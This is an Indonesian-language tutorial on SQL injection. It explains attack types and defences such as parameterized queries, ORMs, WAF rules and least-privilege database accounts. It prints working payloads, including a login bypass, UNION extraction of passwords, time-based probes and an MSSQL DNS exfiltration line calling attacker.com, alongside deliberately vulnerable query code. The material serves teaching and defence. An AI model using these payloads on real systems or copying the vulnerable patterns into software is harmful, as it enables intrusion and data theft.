Panduan Lengkap SQL Injection: Teknik, Deteksi, dan Pencegahan
Apa Itu SQL Injection?
SQL Injection (SQLi) adalah kerentanan keamanan yang memungkinkan penyerang menyisipkan atau “menyuntikkan” kode SQL berbahaya ke dalam query yang dikirimkan ke database. Meski sudah dikenal lebih dari dua dekade, SQLi masih menempati posisi teratas OWASP Top 10 dan bertanggung jawab atas ribuan kebocoran data setiap tahunnya.
Anatomi Serangan SQL Injection
Classic SQLi
Perhatikan kode PHP berikut yang rentan:
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
Jika penyerang mengirimkan input: admin' OR '1'='1
Query yang dieksekusi akan menjadi:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
Kondisi '1'='1' selalu benar, sehingga query mengembalikan seluruh data pengguna.
Blind SQL Injection
Pada Blind SQLi, penyerang tidak melihat output langsung tetapi dapat menyimpulkan informasi berdasarkan respons aplikasi:
# Boolean-based blind SQLi
https://target.com/item?id=1 AND 1=1 (halaman normal)
https://target.com/item?id=1 AND 1=2 (halaman kosong/error)
# Time-based blind SQLi
https://target.com/item?id=1; WAITFOR DELAY '0:0:5'--
Error-based SQLi
-- MySQL
SELECT extractvalue(1, concat(0x7e, (SELECT version())));
-- MSSQL
SELECT 1/0 -- Divide by zero error reveals DB info
Teknik Eksploitasi Lanjutan
UNION-based Data Extraction
-- Menentukan jumlah kolom
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (error muncul = 2 kolom)
-- Mengekstrak data
' UNION SELECT username, password FROM users--
Second-Order SQL Injection
Serangan ini terjadi ketika input disimpan dulu ke database (tampak aman) lalu dieksekusi kemudian dalam konteks SQL yang berbeda — metode yang sering lolos dari WAF konvensional.
Out-of-Band SQLi
-- DNS exfiltration (MSSQL)
'; EXEC master..xp_dirtree '//attacker.com/'+
(SELECT TOP 1 password FROM users)+'/.x'--
Pencegahan: Defense in Depth
1. Prepared Statements (Parameterized Queries)
# Python dengan psycopg2 — AMAN
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password) # Parameter terpisah dari query
)
# Bukan ini — RENTAN
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
2. ORM yang Tepat
// Sequelize — AMAN
const user = await User.findOne({
where: { username: req.body.username }
});
// Raw query tidak aman
await sequelize.query(`SELECT * FROM users WHERE username = '${req.body.username}'`);
3. Input Validation dan WAF
# Konfigurasi ModSecurity di Nginx
SecRuleEngine On
SecRule ARGS "@detectSQLi" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
4. Prinsip Least Privilege Database
-- Buat user database dengan hak terbatas
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.users TO 'webapp_user'@'localhost';
-- JANGAN berikan DROP, ALTER, atau akses ke tabel sistem
Tools untuk Security Testing
| Tool | Kegunaan |
|---|---|
| sqlmap | Automated SQLi detection & exploitation |
| Burp Suite | Manual testing & interception |
| OWASP ZAP | Automated scanning |
| Havij | GUI-based SQLi tool |
# Contoh penggunaan sqlmap (hanya untuk sistem yang Anda miliki/otorisasi)
sqlmap -u "https://target.com/page?id=1" \
--dbs \ # Enumerate databases
--level=3 \ # Test level (1-5)
--risk=2 \ # Risk level
--batch # Non-interactive mode
Kesimpulan
SQL Injection tetap relevan karena kesederhanaan konsepnya dan dampak yang sangat besar. Pertahanan terbaik adalah Prepared Statements dikombinasikan dengan validasi input ketat, WAF, dan prinsip least privilege. Lakukan penetration testing secara rutin dan pastikan tim development memahami risiko ini sejak fase desain aplikasi.